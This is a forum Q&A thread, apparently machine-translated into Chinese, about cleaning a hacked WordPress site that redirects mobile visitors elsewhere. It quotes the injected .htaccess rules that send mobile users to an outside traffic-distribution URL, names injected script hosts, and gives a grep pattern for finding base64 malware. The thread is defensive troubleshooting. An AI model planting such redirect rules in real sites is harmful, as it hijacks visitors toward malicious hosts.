在WP自托管网站中找不到重定向移动流量的脚本


Can't find the script redirecting mobile traffic in WP self-hosted site

我正在尝试修复一个自托管的WP网站,该网站使用了一个带有少量自定义操作的2012主题(主要是CSS,没有太多php,都是由以前的网站管理员编写的)。

我在移动设备访问时遇到麻烦。它们都被重定向到站点外的URI。

我已经"重置"了htaccess文件。它们看起来是这样的:

RewriteEngine On 
RewriteCond %{HTTP_USER_AGENT} ^1207. (lot of other devices)
RewriteCond %{HTTP_ACCEPT} text'/vnd'.wap'.wml|application'/vnd'.wap'.xhtml'+xml [NC,OR]
RewriteCond %{HTTP:HTTP_X_WAP_PROFILE} .+ [OR]
RewriteCond %{HTTP:HTTP_PROFILE} .+ [OR]
RewriteCond %{HTTP:X-OperaMini-Features} .+ [OR]
RewriteCond %{HTTP:UA-pixels} .+
RewriteRule ^(.*)$ http://isupport.x24hr.com/tds/go.php?sid=1 [L,R=302]

现在我将它替换为Wordpress Codex中建议的htaccess。但是当试图用手机访问时,它仍然会被重定向到issupport.x24.com网站,在android中检索404,在iOS中检索502。

网址:www.lagoabeachhostel.com

你可以想象,我是个新手。我已经做了几个小时的研究,但还是不能解决这个问题。在我看来,有一段脚本在什么地方我找不到。

更新:我安装并运行反恶意软件扫描插件。它将。htaccess作为可能的威胁检索。打开它,我看到插件分析的。htaccess文件仍然是旧的,这意味着我通过ftp上传的文件没有生效,这就解释了为什么服务器仍然重定向移动流量。知道为什么会这样吗?如何有效地更改。htaccess文件?

你能帮我一下吗?我真的很感激!

我也有类似的问题—我的网站被重定向到一些网站,但我的。htaccess是干净的。而且这个问题只出现在移动设备上。所以我在我的iPhone上安装了HttpWatch,我能够捕获来自我的移动设备的所有请求,该应用程序向我展示了来自http://letcaro.com/js/couter.js的JavaScript内容。对PHP文件的简单搜索缩小到我拥有的每个主题中的header.php。

我们在源代码中使用http://letcaro.x24hr.com/js/couter.js时遇到了同样的问题。我是在这里找到的。

/wp-includes/post-template.php

要搜索的顽皮的东西是:

grep -irn "base64_decode" | grep "eJzT189J"

在你的网站根目录

所有的荣耀归于http://forum.joomla.org/viewtopic.php?t=861333#p3244318的Peter Gramantik先生

谢谢Peter的发现:)

问题在于。htaccess文件通过ftp与服务器中的实际文件显示不同。

我以为我已经更正了。htaccess rewriterrule,因为我是通过ftp编辑的。但是当我通过cPanel中的文件管理员访问时,我验证了通过ftp上传的文件并不真正存在。

我知道有些主机不允许通过ftp修改这个文件,但是我认为在这种情况下我会收到一个错误消息。

所以,如果这样的事情发生在你身上,记得通过cPanel再次检查文件,即使你已经通过ftp修改了它。